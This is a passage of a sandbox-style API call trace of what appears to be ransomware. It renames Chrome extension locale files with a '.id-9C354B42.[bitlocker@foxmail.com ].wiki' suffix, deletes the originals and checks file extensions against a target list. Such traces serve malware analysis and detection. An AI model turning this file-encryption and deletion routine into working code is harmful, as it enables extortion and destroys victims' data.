(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.463] GetLastError () returned 0x0 [0174.463] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.464] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.465] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.465] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.465] SetEndOfFile (hFile=0x124) returned 1 [0174.465] CloseHandle (hObject=0x124) returned 1 [0174.466] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.466] SetEndOfFile (hFile=0x198) returned 1 [0174.466] CloseHandle (hObject=0x198) returned 1 [0174.466] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.467] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json")) returned 1 [0174.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.467] lstrlenW (lpString=".doc") returned 4 [0174.467] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.467] lstrlenW (lpString=".docx") returned 5 [0174.467] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.467] lstrlenW (lpString=".pdf") returned 4 [0174.467] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.467] lstrlenW (lpString=".xls") returned 4 [0174.467] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.467] lstrlenW (lpString=".xlsx") returned 5 [0174.467] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.467] lstrlenW (lpString=".ppt") returned 4 [0174.467] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.467] lstrlenW (lpString=".zip") returned 4 [0174.467] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.467] lstrlenW (lpString=".rar") returned 4 [0174.467] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.467] lstrlenW (lpString=".bz2") returned 4 [0174.467] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.467] lstrlenW (lpString=".7z") returned 3 [0174.467] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.468] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.468] lstrlenW (lpString=".dbf") returned 4 [0174.468] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.468] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.468] lstrlenW (lpString=".1cd") returned 4 [0174.468] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.468] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.468] lstrlenW (lpString=".jpg") returned 4 [0174.468] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.468] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.468] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.468] lstrlenW (lpString=".doc") returned 4 [0174.468] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.468] lstrlenW (lpString=".docx") returned 5 [0174.468] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.468] lstrlenW (lpString=".pdf") returned 4 [0174.468] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.468] lstrlenW (lpString=".xls") returned 4 [0174.468] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.468] lstrlenW (lpString=".xlsx") returned 5 [0174.468] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.468] lstrlenW (lpString=".ppt") returned 4 [0174.468] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.468] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.468] lstrlenW (lpString=".zip") returned 4 [0174.468] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.468] lstrlenW (lpString=".rar") returned 4 [0174.468] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.468] lstrlenW (lpString=".bz2") returned 4 [0174.469] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.469] lstrlenW (lpString=".7z") returned 3 [0174.469] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.469] lstrlenW (lpString=".dbf") returned 4 [0174.469] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.469] lstrlenW (lpString=".1cd") returned 4 [0174.469] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 153 [0174.469] lstrlenW (lpString=".jpg") returned 4 [0174.469] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.469] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.469] lstrlenW (lpString="messages.json") returned 13 [0174.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.470] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.470] CloseHandle (hObject=0x198) returned 1 [0174.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json")) returned 0x2020 [0174.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.470] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.470] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.471] GetLastError () returned 0x0 [0174.471] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.471] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.474] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.474] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.474] SetEndOfFile (hFile=0x124) returned 1 [0174.475] CloseHandle (hObject=0x124) returned 1 [0174.475] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.475] SetEndOfFile (hFile=0x198) returned 1 [0174.475] CloseHandle (hObject=0x198) returned 1 [0174.475] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.476] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json")) returned 1 [0174.476] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.476] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.476] lstrlenW (lpString=".doc") returned 4 [0174.476] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.476] lstrlenW (lpString=".docx") returned 5 [0174.476] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.476] lstrlenW (lpString=".pdf") returned 4 [0174.476] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.476] lstrlenW (lpString=".xls") returned 4 [0174.476] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.476] lstrlenW (lpString=".xlsx") returned 5 [0174.476] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.476] lstrlenW (lpString=".ppt") returned 4 [0174.476] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.476] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.476] lstrlenW (lpString=".zip") returned 4 [0174.476] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.476] lstrlenW (lpString=".rar") returned 4 [0174.476] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.476] lstrlenW (lpString=".bz2") returned 4 [0174.477] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.477] lstrlenW (lpString=".7z") returned 3 [0174.477] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.477] lstrlenW (lpString=".dbf") returned 4 [0174.477] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.477] lstrlenW (lpString=".1cd") returned 4 [0174.477] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.477] lstrlenW (lpString=".jpg") returned 4 [0174.477] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.477] lstrlenW (lpString=".doc") returned 4 [0174.477] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.477] lstrlenW (lpString=".docx") returned 5 [0174.477] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.477] lstrlenW (lpString=".pdf") returned 4 [0174.477] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.477] lstrlenW (lpString=".xls") returned 4 [0174.477] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.477] lstrlenW (lpString=".xlsx") returned 5 [0174.477] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.477] lstrlenW (lpString=".ppt") returned 4 [0174.477] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.477] lstrlenW (lpString=".zip") returned 4 [0174.477] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.478] lstrlenW (lpString=".rar") returned 4 [0174.478] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.478] lstrlenW (lpString=".bz2") returned 4 [0174.478] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.478] lstrlenW (lpString=".7z") returned 3 [0174.478] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.478] lstrlenW (lpString=".dbf") returned 4 [0174.478] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.478] lstrlenW (lpString=".1cd") returned 4 [0174.478] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 153 [0174.478] lstrlenW (lpString=".jpg") returned 4 [0174.478] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.478] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.478] lstrlenW (lpString="messages.json") returned 13 [0174.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.479] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.479] CloseHandle (hObject=0x198) returned 1 [0174.479] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json")) returned 0x2020 [0174.479] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.479] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.479] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.480] GetLastError () returned 0x0 [0174.480] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.481] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.482] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.482] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.482] SetEndOfFile (hFile=0x124) returned 1 [0174.482] CloseHandle (hObject=0x124) returned 1 [0174.482] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.483] SetEndOfFile (hFile=0x198) returned 1 [0174.483] CloseHandle (hObject=0x198) returned 1 [0174.483] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.484] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json")) returned 1 [0174.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.484] lstrlenW (lpString=".doc") returned 4 [0174.484] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.484] lstrlenW (lpString=".docx") returned 5 [0174.484] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.484] 